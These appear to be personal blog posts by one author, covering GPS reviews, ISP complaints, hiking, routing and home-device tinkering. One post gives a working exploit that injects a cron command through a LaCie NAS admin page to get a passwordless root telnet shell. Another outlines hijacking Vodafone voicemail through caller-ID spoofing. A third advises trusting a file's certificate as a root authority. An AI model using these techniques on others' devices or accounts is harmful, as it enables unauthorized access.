I can use ISP1′ connection for downloading via the newsgroup, bu the newsgroup provider does not allow traffic to its servers from more then one IP. If violated this results in the following message:

Besides I also use the ISP with the fast connection to download from the newsgroups, and when using both ISPs at the same time it causes the above ‘failed login’ message.

My situation summed up:

• Server running Ubuntu 10.04 LTS running my favorite newsgroup download tool SABNZBD
• Two ISP’s on my local network.
  ISP1: slow but stable connection with static IP
  ISP2: fast, but less reliable connection with dynamic IP
• Server connected to the Internet via ISP1 (default gateway)
• Both gateways are on the same local network (192.168.2.0/24)

The solution
I want traffic that is using 119 as destination port to be routed via ISP2, while other traffic should be routed via ISP1, which is the default gateway for the server. To accomplish this, I created a script that allows you to redirect specific traffic to a specific port to be redirected via a different gateway then the default gateway:

Just adapt this script to your needs and execute it on the server machine.

This solution can be used for other ports and other kinds of traffic as well that is going outward from your local unix machine, for example secure nntp traffic via port 563.

References
These sources have inspired me to find this solution:

• Route return traffic to correct gateway depending on service (serverfault.com)
• 10.4. Multiple Connections to the Internet

Hope this helps anyone.

Why I choose the 62s (and not the 62 or 62st)
There are three types of 62-serie devices: the 62, 62s and 62st. I chose the 62s instead of the 62 because I want a barometric altitude meter and a 3-axis tilt-compensated compass which the 62 lacks. Furthermore I choose the 62s above the 62st because the 62st (European model) has a ‘built-in’ topographic map of Western Europe scale 1:100.000, where I strongly prefer the 1:50.000 scaled maps. Besides I like to have the in-device memory of 1,7 GB at my own disposal (which is only 400MB for the 62st with Western Europe map).

Tracks archive
The 62-serie devices allows you to keep your tracks on the device, and load them back when you want. I like this feature because it would allow me to put all my tracks on the device so I can always get them back and-rewalk a route, or at least that’s what I would think. So when I copied all my walking tracks (more then 100 files) to the device’ \Garmin\GPX\Archive folder, it froze indefinitely (on/off button not working any more).
I almost submitted my device for RMA, but luckily I found a working solution on this forum (Dutch).

Since that moment I placed my tracks on the external SD-card (in the \Garmin\GPX\Archive folder), so if it failed loading, I could easily remove the card and continue to use the GPS. This idea worked, but the result was not very satisfying. Because, when looking at the tracks menu, it showed me all the tracks from all the GPX files I put on the card, but all my track names (formatted as “YYYYMMDD”) and the GPX files on the filesystem named likewise, were in a random order. Besides, the folder structure I use (a folder for each type of activity and a subfolder for each year) was not honored and browsing through the long list of tracks is very slow (page up/down would have been nice). And on top of that, when I archive a file located on the external SD-card, it is automatically moved to the internal memory? Why Garmin?

Switch to USB-transfer mode
If your 62-device won’t boot any more just like mine did, you can enter usb-mass-storage-device-mode by pressing the “arrow down”-key before connection the usb-cable (which is connected to a running computer). After holding the button for approximately 30-seconds the internal memory becomes visible as drive and you can modify it again.

BirdsEye™ satellite imagery
After registering my device and entering my device’ serial number (and not the unit ID, common mistake), I was able to subscribe for a one-year subscription to BirdsEye for only € 25. After payment by creditcard Garmin Basecamp immediately allowed me to download imagery.
I found out the image quality (I selected high) was indeed very high, but downloading the imagery was very slow. I understand the servers with the imagery are located in the US, and I’m in the Netherlands, but still its too slow for a service you have to pay money for!

Another  problem is the proces you need to go through to download large sums of imagery that are nicely connected to each other. What I want is to be able to specify a block of any size, which is then downloaded with high speed. After downloading I would like to select in one action what part of the image I want to send to the GPS. This is not possible. When selecting multiple blocks for download, I could not easily align them to each other.

Also, Garmin BaseCamp forces you to use their wizard which starts of by checking your subscription which of course can by just as well done once when the application is started. Besides, a block of imagery you can select to download is limited to only 75 MB per block!
Why not make it more friendly Garmin?

Comparing tracks
Another interesting comparison experiment would be turning the devices on at them same time, move them around together and compare the resulting GPX-files. I have to admin it wasn’t the most professional comparison, but it does show some unexpected differences. I used Garmin’s MapSource to calculate the properties. I did no calibration when I turned the devices on.

	60CSx	62s
Firmware version	4.00	2.40
GPX tracklog-file	tracklog_60csx.gpx	tracklog_62s.gpx
GPX filesize (bytes)	173.141	256.228
Record method	Auto	Auto
Record interval	Most Often	Most Often
Auto calibration	On	On
Barometer mode	Variable Elevation	Variable Elevation
Recorded trackpoints	1085	1591
Distance	8.1 Km	7.6 Km
Start time	2010-09-04 15:57:32	2010-09-04 15:57:27
Moving time	4:00:59	4:00:54
Avg speed (km/h)	2	2
Area (sq km)	1.7	1.7
Height graph

What really makes me wonder what went wrong here is the difference in measured distance and the spikes en holes in the height graph for the 62s. I really can’t explain it, expect for the fact that the 62s is giving me results that scare me. Did I cause this with a setting? Or is it already fixed with 2.44 beta that says it “Fixed issues with inconsistent altimeter readings”? I just hope this is buggy firmware and not some buggy hardware, so it can be fixed by Garmin.

Heart rate monitor and cadence sensor
According to its manual the Garmin 62s is capable of connecting to a heart rate monitor and cadence sensor. I recently bought the Speed/Cadence Bike Sensor and a Heart Rate Monitor.

What I want with these sensors is simple: log my heart rate and cadence together with time, location and elevation data, so I can keep track of my progress with cycling. Sadly, Garmin doesn’t make it that simple. Garmin has its Garmin Training Center which is well suited for analysing all the data captured with my 62s. Getting the data there is not very easy.

In short, these are my findings:

• Mounting the cadence sensor to my bike was quite easy.
• Pairing the heart rate monitor and the cadence sensor with the 62s was also very easy.
• The first 10 minutes after turning my 62s on, my heart rate was around 254 bpm. After 10 minutes the heart rate became stable and seemed to work quite flawlesly for the rest of the logging period, except for two spikes at 42 and 45 minutes that were probably too high:
• Garmin Training Center running on Windows 7 64-bit cannot read from my 62s directly, giving me this error:
• Garmin Connect fails at reading data directly from the 62s using Google Chrome.
• The only way I could get a GPX file containing the heartrate and cadence sensor values was by manually copying the Current.gpx file from the device.
  Garmin MapSource and Garmin Basecamp do not read the heart rate and cadence values from the 62s. I was however able to upload the Current.gpx file manually to Garmin Connect and analyse it.

Pros compared to GPSMAP 60 CSx:

• Quicker fix due to the ‘HotFix® satellite prediction’ (though not thoroughly tested)
• Maps look better and render a lot faster.
• Map groups can now be individually enabled or disabled.
• BirdsEye™ Satellite imagery can now be loaded onto the device
• Support for heart rate and cadance sensors (buy as seperate accessories, already ordered them).
• The ‘Trip computer’ page has a dashboard view, that can include for example an elevation graph.
• The elevation plot of each (archived) track can now be viewed on the device itself.
• The external MicroSD card can be more then 2GB (up to 16GB has been tested), however I have not verified that myself. There are forum posts about using these memory cards (Dutch). It seems that bigger sized MicroSD (SDHC?) cards  did already function in the 60CSx, but Garmin has never officially confirmed that and I did not verify it.

Cons:

• The device squeaks as can be seen in this YouTube video. They say the device is robust, but it doesn’t feel that way.
• Special mount needed for bicyle (different from 60-series).
• A different clipping system used for mounting the device onto something or someone.
• When switching page, there is a 1-second delay before the selected page is opened. You can force the opening of a page by pressing ‘enter’, but that implies 2 actions. Not funny when you want to quickly switch pages as I prefer.
  
• Browsing tracks is not very flexible and friendly. Scrolling through long pages with only tracknames (why not the GPX filenames?) without the possibility to quickly page through the tracklists. Furthermore no directory-based track-browsing.
• No datafield for temperature. The device has a temperate sensor (which can be read when in a special diagnostic mode), but you are not allowed to add it to the ‘Trip computer’.
• The sunset/sunrise time at DST changing dates bug is still present.
• Cannot connect in the ‘Garmin Training Center’ application because the 62st ‘does not have the necessary capabilities’. Why is that? The device supports a cadence and heart rate sensor!
  
• There are no more games on the device! I miss IRL snake!
• The device is prone to crashing when you add too much files to the GPX folder.
• Custom maps created as kmz files saved to an external SD-card as explained here does not seem to work.
• BirdsEye™ Satellite imagery downloading is slow (measured with high speed broadband ISP-connection from the Netherlands) and the proces for selecting and downloading imagery with Garmin BaseCamp can definitely be improved.
• The resulting GPX files read with Garmin’ MapSource have some scary differences that I cannot yet explain. 62s has buggy firmware?
• I find it to be a bug that I cannot seem to reset my odometer (distance meter) to zero using the tripmeter’ ‘reset’-menu.
• Readings from the heart rate monitor are always wrong (too high) the first 5-10 minutes after connecting to the 62s.
• Getting the heart rate and cadence sensor readings from the device is possible, but not too friendly.

Conclusion
Looking at the long list of cons you might think I feel sorry for buying the device. Though I find some issues need to be addressed to increase my user experience with the 62s, I am still happy with the device. Nevertheless, most issues I have with the device are hopefully within the software and therefore the current firmware needs improvements before the 62-serie devices can be seen as a good replacement to the very successful 60-series.

Update:

• Thanks to a comment from ’60CSx con 62s’ I omitted an error in the article claiming the 62s has better GPS reception then the 60Csx. What I wanted to say is that it can get a quicker fix.
• According to user comments from ’60CSx con 62s’ “16GB Cards are also possible on the 60CSx (V4.00)“.
• Added my experience with BirdsEye™ imagery.
• Added a GPX-comparison to the article.
• Added my experience with the heart rate monitor and cadence sensor.

How it works
So how does the GGD do that? Well, they first they send you a letter with login data. You can login on their website (not using SSL!) using a predefined code and you are ready to fill in the survey. And to be certain you didn’t forget, they send you the survey on paper, so people with no access or know how of the Internet can complete the survey as well.

Sensitive information
The questions they ask you are about your birth year, marital status, education, health, alcohol use, smoking, drug use, eating habits, social environment, violence at home and your work. A lot of sensitive information, some of which you probably don’t even voluntarily tell to your doctor, unless absolutely necessary.

Anonymity
Of course, you don’t have to be afraid that the data you fill in is connected to you as a person, because they offer you to conduct the survey anonymously. So, the GGD offers you a way to keep your privacy. They intent to do this by allowing you to rip off the first paper of the survey before sending it to them. Well ok, I ripp off the first page and my privacy is guaranteed. But then I started wondering what all the the bar codes and identification numbers are doing on each of the pages? (take a look at the first survey page snapshot below)

Anonymous or not anonymous, that’s the question
The thing that really scares me about this survey is the fact that they lie to the participants. This is not an anonymous survey, at least not to my definition of “anonymous”.
They GGD even mistakenly proofs to you that their survey is not really anonymous. How? Because they recently sent me a letter asking why I didn’t fill in the survey. Err wait, I could have submitted it to them anonymously (remember), so how could they possibly know I didn’t sent it to them or filled it in online already..? That’s the point. If it was really anonymous, they shouldn’t have known whether I sent them the survey!

My opinion
I think the GGD screwed up. Not because their survey was bad, nor is their intention to conduct this survey, but solely because they claim that it is anonymous, which it is certainly not! If they ever want to gain my trust again, or even receive sensitive information about myself, they should define what they mean by “anonymous” and provide a proper and clear privacy policy. Lying is not a good basis for gaining consumer trust.

References (the letters)

[Show as slideshow]

Vodafone voicemail and Skype

The problem is simple. Vodafone NL offers their customers a voicemail service. If you call the voicemail service from your own mobile phone, you get direct access to the voicemail inbox without needing any form of authorization. It seems the mobile’s caller ID is used for authentication.
Skype, on the other hand, has a ‘feature’ that allows you to assign your own mobile number as a caller ID for Skype-Out calls. This means you can spoof your caller ID, if you authorize it with Skype, for which you only need to respond to an SMS sent to the device once.

So, if I could trick a victim into lending me his/her mobile for only 5 minutes, I could abuse that moment to register the mobile number with a Skype account. This would allow me to access the victim’s Vodafone voicemail, because Skype allows you to spoof the number, and Vodafone authenticates you to a voicemail box based on the caller ID. So, I only need my Skype account to access the victim’s voicemail. An even simpler method could be by using a service provider that allows me to spoof a mobile number, like SpoofCard claims to do. You would then only require the victims mobile phone number. Scary!

Other services at risk?

So Vodafone voicemail (NL) is vulnerable for this “hack”. But what about other service providers that rely on the caller ID?

For example the ‘ABN AMRO Saldo voor de iPhone‘ [iTunes], a banking applications for the dutch ABN Amro bank that allows you to see your bank account’ balance (requires a 4-digit PIN).
Or what about the ‘Rabo Bankieren‘ [iTunes] used for banking with the dutch Rabobank that only requires a 5-digit PIN to see your bank account’ balance?
By circumventing the caller ID as being part of the authorization of these applications, the only security layer left is a 4 -or 5-digit PIN code, which IMHO is not enough any more.

Of course, the same principle applies to SMS text messages, like described in the article Twitter and Jott Vulnerable to SMS and Caller ID Spoofing by dhanjani.com, but for the sake of simplicity I will not go into that right now.

Questions and conclusion

So what do you think?

• Do you think this is a security risk or not?
• Is the caller ID something that is easy to fake?
• Why is Skype allowed to spoof the caller ID? Is this something anyone can do on any phone network?
• Should service providers be allowed to trust the caller ID for authentication purposes?
• Have you seen service providers using the caller ID for authentication purposes?

In my opinion trusting the called id for authentication purposes imposes a security risk. Developers should be aware that trusting a caller ID should not be an authentication method solely by itself, but always as an addition to another. In my opinion, service providers should not use the caller ID alone for authentication!

And remember, if Paris Hilton can hack into a voicemail, anyone can!

Update 24-03-2011: I merely used the examples of the ABN Amro and the Rabo Bankieren application as an example to think deeper about security and privacy concerning the use of these (very handy!) financial applications, but its clear that they do not rely (and probably also not even send) the caller ID to the bank’ server, so a probable risk with using the caller ID as authentication for these applications is irrelevant.

You can solve this error by explicitly trusting the certificate that the cab3.cab file was signed with, following these steps:

1. Lookup up the file in explorer
2. Go the file’ properties
3. Go to the tab ‘Digital Signatures’
4. Click the one item in the list en click ‘Details’
5. Click ‘View Certificate’ in the openen window
6. Install the certificate in the ‘Trusted Root Certificate Authorities’ store
7. Re-run the setup, the cab3 exception should not occur any more

It complained about other cab files as well, but the installer would continue after just clicking ‘Ok’, otherwise you should repeat the steps for the other cab files as well.

If you like hiking you should definitely go to Norway. I’ve been walking in Jotunheimen and the Hardangervidda with Martin in the last week of August 2009. The environment is truly beautiful and pure, though you should be prepared for the Scandinavian weather, even in summer time.

When hiking in Norway (and probably hiking in general), there is some advice that I can give you:

• Make sure you follow this guide (English and German), provided by the Norwegian Trekking Association (DNT). It includes a nice packing list as well.
• Good shoes are very important, especially in wet environments with slippery rocks and swamped area’s like the Hardangervidda.
• Be well prepared for both sunny and bad weather (take suncream and clothes that protect you against cold and rain).
• Always take a 1:50.000 map of the environment. You can buy those in shops and some of the larger huts in the area. Make sure it is protected against rain as well.
• A GPS in addition to a map can be useful, especially when it contains Garmin’s topo map of Norway. These topo maps contain most of the trails that are also on the physical map.
• Be sure to check if the huts you want to spend the night are opened (especially with staffed huts). Some of the huts we’ve been to would be closed at the first of September.

Jotunheimen (“The home of the giants”)

When you are at Jotunheimen you probably want to visit Besseggen, Norway’s most famous walking trail. We walked from Gjendesheim to Memurubu, but most people first take the boat from Gjendesheim to Memurubu and then walk back from Memurubu to Gjendesheim.

Walking the famous Peer-Gynt trail takes about 6 hours excluding time to rest and relax. Memurubu even has its own weather forecast, so be sure to check that out as well. The following images should give you an idea of the trail:

[Show as slideshow]

The route from Gjendesheim to Memurubu, including a height and speed profile should give you some more information about the route, that you can download below as well:

Download as GPX

Hardangervidda

The Hardangervidda is – compared to the Jotunheimen – flatter when it comes to height differences and has more swamped area’s. The west side of the Hardangervidda has the most height differences and is also the side we explored a little. It can be reached by car from Øvre Eidfjord (checkout the CAR waypoint below). It’s a steep small road going up a few hundred meters (passing a beautiful waterfall that is not considered that special because it is not on the 1:50000 map), ending with two parking places with close to each other with ( – when you are lucky -) some crazy sheep.

We intended to walk to hut Vivelid from our car. When we arrived at hut Vivelid we decided to walk on to hut Hedlo, because the people running hut Vivelid where quite unfriendly (sadly that happens). The people running the private hut Hedlo on the contrary were very friendly, with good food, but are also pretty expensive. The walk is certainly doable in a day, though the route avoiding the waterfall Valursfossen, which we took on our way back, is a little quicker.

Checkout some pictures:

[Show as slideshow]

This is the route from the car to Hedlo, passing the beautiful Valursfossen and then via Vivelid to Hedlo.

Download as GPX

‘I see Dutch people, they are everywhere’

Something else we learned is that people from the Netherlands seem to like visiting Norway. On the road from Øvre Eidfjord to the Hardangervidda, were we parked our car at the first parking place, there was room for around eight cars, of which six were taken by people from the Netherlands. Yeah, we have that a lot.

I own a 1 TB Lacie Network Space device. This device, also called Network Attached Storage (NAS), enables you to hook it onto your (local) network and access files via file -and print sharing, ftp and other protocols. Very handy, if it works as you expect it to.
The NAS has an ARM926EJ-S processor, a 1TB hard disk, 16MB of memory, an USB port and no fan (which makes it pretty quiet).

Problem

My problem with the NAS is that the kernel running on the device starts killing processes when I copy very large (2 GB+) files to the NAS via file -and print-sharing (using the samba server). This broke my device in such a way that it would become unusable (no admin panel, though still pingable). Therefore I sent the device for RMA to Lacie’s service desk where it was repaired.
At least I thought it was, because after copying those large files again, the device broke again, but this time  I was luckily still able to reboot and keep the device up a little while before it required a new reboot.
The system log showed a kernel that was randomly killing processes. I expect this might be caused by the autoscan feature that indexes the media on the device, or maybe the device just doesn’t have enough memory to cope with the continuous transfer of big files. Not funny for a € 160,- device.

Getting root

I decided I didn’t want to submit the device for RMA again and wanted to get root access to the device and repair it (read: make it more stable) myself. However I didn’t want to physically open the device and void the warrant. Luckily you don’t have to, at least not when your device is running firmware 1.1.8, as I found out thanks to a post from user ‘hardel09′ (read here). You should only proceed when you understand what you are doing. If you do anything wrong, it can break your device.

Take the following steps:

1. Save the content below to a HTML page, as it allows you to send commands that allow you to abuse cron for executing the tasks you want:

   1 2 3 4 5 6 7 8 9 10 11 12 13

   <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>Hack the NAS</title> </head> <body> <form name='edit_form' method='post' action='http://YOURDEVICE/cgi-bin/admin/media'> <input type='hidden' id='autoscn' name='autoscn' value='true' /> <input type='hidden' id='modified' name='modified' value='true' /> <input name='hour' value='12'/><input name='minute' value='50 12 * * * chmod 755 /home/openshare/utelnetd; /home/openshare/utelnetd &'/> <input type=submit value='SET CRONTAB'/> </form></body> </html>

2. Change the YOURDEVICE in the HTML-file to use the right IP-address or hostname of the NAS
3. Copy utelnetd to \\YOURDEVICE\openshare\utelnetd
4. Open the HTML file with your favorite browser and fill the current hour in the hour input field and fill the minute input field with the value below. Change the “HOUR” string to the current hour and change the “MINUTE” string to the next minute plus 2 minutes or so (leaving existing spaces intact), assuming the time on your NAS is correctly set (if not, make it correct by using the admin panel). Now click the SET CRONTAB button and after a few seconds you should end up at the administrator media page with the autoscan checkbox selected.

   1	MINUTE HOUR * * * chmod 755 /home/openshare/utelnetd;  /home/openshare/utelnetd &

5. Now wait a few minutes, start you favorite network scanner tool and check if port 23 on the NAS has yet appeared as open. If this is not the case, try again from step 4.
6. If so, you can almost log in, if you set a (empty) password for the root user. Get to the HTML page again, change the “MINUTE” and “HOUR” strings again (leaving existing spaces intact) and add a command that makes root’s password empty:

   1	MINUTE HOUR * * * passwd -d root

7. Login with user root via telnet to get your root shell:

   

8. If you got a shell, congratulations, you did it! Now continue to make it permanent. Disable the cleanConf daemon, so your changes won’t be reversed when the NAS is rebooted:

   1 2 3

   cd /etc/rc.d/rc3.d mkdir disabled mv S12cleanConf disabled

9. Fix the hacked crontab by executing the command below and clear the first line in the editor (which will disable autoscan)

   1	crontab -e

10. Copy /home/openshare/utelnetd to /usr/bin and make it executable:

    1 2	cp /home/openshare/utelnetd /usr/bin chmod 755 /usr/bin/utelnetd

11. Add a script in /etc/init.d/telnetd for starting utelnetd automatically. Mine looks like this:

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34

    #!/bin/sh # Begin $rc_base/init.d/telnetd . /etc/sysconfig/rc . $rc_functions case "$1" in         start)                 echo "Starting telnetd server..."                 /usr/bin/utelnetd &                 ;;         stop)                 echo "Stopping telnetd server..."                 killall utelnetd                 ;;         restart)                 $0 stop                 sleep 1                 $0 start                 ;;         status)                 statusproc utelnetd                 ;;         *)                 echo "Usage: $0 {start|stop|restart|status}"                 exit 1                 ;; esac # End $rc_base/init.d/telnetd

12. Enable the script by making a symbolic link that points to the telnetd script:

    1 2 3 4

    cd /etc/rc.d/rc3.d ln -s ../../init.d/telnetd S18telnetd cd /etc/rc.d/rc6.d ln -s ../../init.d/telnetd K12telnetd

13. Make the script executable:

    1	chmod +x /etc/init.d/telnetd

That’s it. You can now reboot the device and utelnetd is automatically started after the reboot.

Now we have root

So what can you do with the device now you have root access to it?

• Secure it. Anyone in your network who can access the device via IP can currently connect to it without a password, so you might consider using openssh instead of telnet as described here. You might want to secure the /www/cgi-bin/admin/media script as well, as it can be easily used to hack into the device.
• Fix other problems with the software on the NAS that bother you.
• Mount (multiple) partitions from an external mass-storage device and make it available on the network.
• Use it as bittorrent client.
• Run other (light-weighted / self-compiled) applications on it.

I hope this has helped anyone in any way

Why UPC is a bad service provider (in random order)…

• Since recently, UPC forces non-resolving domain requests to their default(!) DNS servers with a request that resolves to a web page that 302 http redirects you to their own “search” engine. So if you mistype a domain name, your browser redirects you, thereby invading your privacy and providing you with their full-banner “helper”-webpage. This is against the DNS protocol.
  You can solve it by forcing your IP’s to use another set of DNS servers. For me this means I have to manually configure each network device because I cannot make my Thomson router distribute specific DNS host adresses via DHCP
  This site tells you more about the solution where you have to manually set your DNS servers.
• I have a ‘royal subscription’ which means I get nine HD (High Definition) channels for 10 euro/month extra. UPC offers you another feature with this Royal subscription that is called Video On Demand (VOD). The feature is nice because they provide you with a lot of nice content (like series) that are watchable on demand, just like a dvd.
  The problem is that it  often doesn’t work for me, giving me a VOD 103 exception. I’ve contacted support three times now about this issue and they still haven’t manage to locate the problem. Every time I have to convince them my signal is ok (using a special test-channel). The problem is probably caused due to a under capacity at their streaming servers, but people at the support desk simply follow protocol and never find the problem so it never gets fixed.
• I have a subscription where I have a combined box for telephone, internet (24 MBit) and (HD) television. I don’t want the phone, but I cannot just order only internet and television. I don’t want to pay for this crappy phone line that doesn’t allow me to dial +31(0)87 numbers (voip phone land-lines in the Netherlands). Another irritating issue is that when your broadband cable modem has no connection, people calling your number get a normal “phone is ringing”-tone on their side, and not a “number not reachable”-tone, which doesn’t help finding the problem.
  Besides that UPC tries to sell this product as a normal phone line, but instead it’s a very error-prone telephone line that you should not primarily rely on when you might need to call the alarm-number.
• My (brand new) black colored ‘Media Box’ that provides me with HD television seems unstable. Sometimes – out of nothing – the screen just turns black, while sounds continues. Remote control activities don’t work any more and the device get’s locked. In this case the device needs a power-cable off and on, which costs me at least 60 seconds before the television get’s back. Not funny when you were watching ‘time shifted’.
  I’ve also seen issues where the device automatically switches to the (of all channels) interactive ‘UPC’ channel, functionally “disabling” the number pad on your remote control so it will take you some time to get back to the non-interactive TV channels, while losing ‘time-shifted’ data as well. The remote control is not the problem (I’m using the Logitech Harmony nowadays), and there are numerous people on forums complaining about issues with the UPC media devices as well.
  I’m silently hoping they push a ‘all-problems-fixing’-firmware update soon.
• UPC poisons their DNS servers with a blacklist so they can block domains hosting child pornography. The problem with this is that they are not open about it, so they they manipulate your DNS requests without telling you about it. I wrote an article about that case specifically.
• The Internet connection UPC provides is slow during evening hours and has connection dropouts very often. When I switch my Internet connection to another provider to check if it’s a local network issue, the connection is always back and better.
• With my subscription, they do not allow me to pay ‘manually’ with so called ‘accept giros’, instead they forced my to use automatic credit payment where they are in complete control. So if they make a mistake, It’s up to me to get the money back. Isn’t this against the law?
• UPC violates your privacy. When you keep your default password, they get it in clear text on their screen at the help desk. If you play it nice, they’ll tell it to you. This endangers your privacy because it is the password that is also used for the mail account they offer you and provides you access to their service center where you can order new services as well. Don’t use their mail account if you  are concerned about your privacy.
• Something positive on the contrary is that they offer a very fast internet connection for almost the same price as you were already paying, an action that was just launched recently. The disadvantage of this is that their network gets more load, something that could explain the continuous connection drop-outs I’m continuously experiencing. They don’t seem to be prepared for Internet speed upgrades with their network.
• When you call UPC on their special 0900-number, they charge a high price, especially when calling from a mobile phone. When you telephone line from UPC is dead, you cannot use their phone, so you are mostly stuck to a mobile phone.
  The high calling rate is not fancy, but I find it quite ok, because it prevents the waiting time due to customers only calling when they really have to. Still, their waiting time on average is too long, in my experience (> 5 minutes average).
  Besides that, when you call them, it takes you at least 2 minutes before you get through their menu, every time. Sigh.
  A refund for callers – if the problem is theirs – would be nice.
• You cannot quit your contract with UPC whenever you want, you are stuck with them for at least one year. It’s not only UPC that plays this trick on you, there are other providers that do this to you as well.

So why do I still use UPC?

The reason for me still using UPC  is that they are the only provider offering HD television to my home. Besides that my ADSL line doesn’t seem to be capable for high speed Internet access (meaning 8 MBit+ downstream), and I want a reasonable upload speed as well.

If there is another provider for my region available that includes HD television and fast internet access, I’ll switch immediately.

Garmin 60 'Sun and Moon' screen

I’ve discovered an issue with my Garmin GPS 60 CSx that I currently cannot find described anywhere else. It’s about the ‘Sun and Moon’ screen that shows you the sunrise and sunset information for a certain date and and a certain location on earth, on a day where DST changes the time at night.
The problem seems to be that the DST is not taken into account when the GPS calculates the sunset and sunrise time for that day. The local time that is shown on the GPS device however is displayed correctly, so the DST change by itself seems to be working correctly.

Let me explain by giving an example…
We set the date to Sunday 29-MAR-09 which is the day that Western Europe switches from winter-time to summer-time at Sunday night from 2 AM to 3 AM (01:59:59 to 03:00:00 to be exact). At Saturday 28th, at any time, the sunset for that day is given at 19:04, which is correct. At Sunday 29th the sunset indicated on the GPS at 03:00 should be 20:06, but it’s not.
The next table should give an overview.

It seems that the current time is not taken into account when the GPS calculates the sunset and sunrise times, but only the date. This is OK, but not for dates where the time changes.

Report the bug
Does anyone now how tot get a bug like this fixed with Garmin? I don’t want to explicitly contact their support because it is just a minor issue, though I think it would be nice if it would be fixed.

Conclusion
So if you happen to be trusting your GPS to tell you when the sun rises and set’s like I do, beware that the time may be one our off on days where the clock is set back or forward (mostly Sunday), depending on whether you use DST. I’ve seen this issue with the Garmin GPS 60CSx running the currently latest firmware (3.70).

Update 2009-05-24:
I submitted the bug with Garmin and got a response:
Thanks for your email I will be happy to help. This is a bug that we have come across before from another customer. It only seems to appear when the time zone on the unit is set for Amsterdam. If the unit is set to the London time zone the Sunset error doesn’t appear. We will pass your comments onto our software team in the USA as his is something that could be fixed in a future software update but I cant promise you that it will be.

Seems like there is a chance that it will be fixed!

After the track is completed for that activity, I archive it at home, as a GPX file, using Garmin’s MapSource.
I initially bought the GPS for tracklogging and navigational purposes for my bike trip from Arnhem (Netherlands) to Paris, but keeping all tracklogs did give me some other cool opportunity that I didn’t think of back then.
One example of that is gathering statistics about my cycleracing and mountainbiking trips, thereby motivating me to break new records and discover new terrain. Another cool purpose for all my tracklogs, and what this blog is about, is that I can visualize them (all at once) on Google Earth!

With Google Earth and converting tools like GPSBabel at our disposal, it’s possible to create a (big) Google Earth file of all tracklogs combined. When I try to combine, for example, the activities for which I have the most tracklogs available (cycle racing, mountainbiking, walking, cycling on my hybrid bike and sailing), I assign them a color so I can differentiate between different types of activities and create really cool and insightful maps, like this:

In this picture, the red colored line stands for mountainbiking, purple stands for cycling with my hybrid bike, blue is used for cycle racing and green is for walking. If you look carefully, you can also guess where I must live somewhere

This map might look not very organized or useful to other people, but for me, there are many, many stories and new ideas hidden in it.

There are a lot of interesting views possible, seen my pretty large collection of tracklogs. This one for example is from my holiday last September in and around Cassis (south France):

The pink line show a sailing trip we’ve taken. The green line shows the walk we took to Calanque d’En-vau and the blue line shows a cycle racing trip over the Route du Crête. If you ever want to visit this area, it’s a good thing idea to take my tracklogs, put them on your GPS and do the activities while you are in the area, so you don’t miss the ‘must-have-done’s’.

This whole thing looks somewhat like everytrail.com, where one can create some sort of “trackblog”, including photo’s that can be linked to the track. But an overview, loadable in Google Earth is not one of the options they offer (yet). But maybe they add it in the future, so, if you start uploading your tracks at everytrail.com now, an easy total view in Google Earth might not be so far away at all

Luckily you can create such a combined track yourself as well, however it requires some scripting knowledge. To combine the (GPX) files you can use gpsbabel, remove all but the track-information from the tracklog, for each of the tracklogs from a certain category, and output them to a kml or kmz file, a command that looks like this on unix:

/usr/local/bin/gpsbabel -i gpx -f "Tracklogs Varen/20080611_Drangey_Sauðárkrókur.gpx" -x nuketypes,waypoints,routes -i gpx -f "Tracklogs Varen/20080611_Sauðárkrókur_Drangey.gpx" -x nuketypes,waypoints,routes -i gpx -f "Tracklogs Varen/20080824_RoelofarendsveenLeiden.gpx" -x nuketypes,waypoints,routes -i gpx -f "Tracklogs Varen/20080908_CalanqueDePortMiou.gpx" -x nuketypes,waypoints,routes -o kml,floating=0,labels=1,trackdata=1,line_color=FF00FF00,points=0,line_width=2 -F "combined_varen.kml"

After that I load each kml file in Google Earth separately and assign it a unique color. By moving the track to the same folder in Google Earth, I can combine them to one track, with multiple colors per category. That’s all it takes.

The most actual version of all my tracks in the categories cycleracing, ‘Cycleracing with hybrid bike’, sailing, mountainbiking, walking, ice skating and flying can be found in this automatically updated Kml file.

Some more screenshots that I’ve taken are available here: http://public.hendricksen.eu/GpsArt/

I hope I can inspire people to do the same, or at least motivate them to start collecting and archiving their own tracklogs, so at some point, they can create some cool maps just like I did with my tracklogs, and who knows, maybe start comparing those tracks.

Update 2009-12-03:
The latest combined tracks file (automatically updated) with all my cycling, walking, sailing and skating tracklogs are available here.